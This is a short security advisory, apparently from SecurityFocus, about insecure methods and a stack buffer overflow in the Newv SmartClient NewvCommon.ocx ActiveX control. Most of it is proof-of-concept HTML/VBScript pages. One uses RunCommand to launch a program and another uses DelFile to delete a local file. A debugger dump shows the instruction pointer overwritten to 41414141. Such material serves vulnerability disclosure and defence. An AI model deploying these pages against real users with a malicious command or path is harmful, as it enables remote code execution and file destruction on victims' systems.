source: https://www.securityfocus.com/bid/45751/info
The Newv SmartClient ActiveX control is prone to multiple insecure-method vulnerabilities and a stack-based buffer-overflow vulnerability.
Successfully exploiting these issues allows remote attackers to create or overwrite arbitrary local files, to delete arbitrary files, and to execute arbitrary code. Failed exploit attempts will result in a denial-of-service condition.
Newv SmartClient 1.1.0.0 is vulnerable; other versions may also be affected.
NewV: NewvCommon.ocx arbitrary command execution via the Runcommand attribute
POC 1:
<html>
<head>
<script language='vbscript'>
arg1 = "calc.exe"
</script>
</head>
<object classid='clsid:0B68B7EB-02FF-4A41-BC14-3C303BB853F9' id='target' />
</object>
<script language='vbscript'>
target.RunCommand arg1
</script>
</html>
#####################################################################################
NewvCommon.ocx ActiveX Insecure Method Vulnerability.
POC 2:
Function DelFile (
ByVal FilePath As Variant
) As String
<html>
<head>
<script language='vbscript'>
arg1 = "c:\\test.txt"
</script>
</head>
<object classid='clsid:0B68B7EB-02FF-4A41-BC14-3C303BB853F9' id='target' />
</object>
<script language='vbscript'>
target.DelFile arg1
</script>
</html>
########################################################################################
NewvCommon.ocx ActiveX Stack-Based Buffer Overflow Vulnerability
POC 2:
Function WriteTextFile (
ByVal str As Variant ,
ByVal FilePath As Variant
) As String
0:000> g
(d2c.f84): Unknown exception - code 0eedfade (first chance)
(d2c.f84): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=0013d8c8 ebp=0013d8e8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
<Unloaded_na.dll>+0x41414140:
41414141 ?? ???
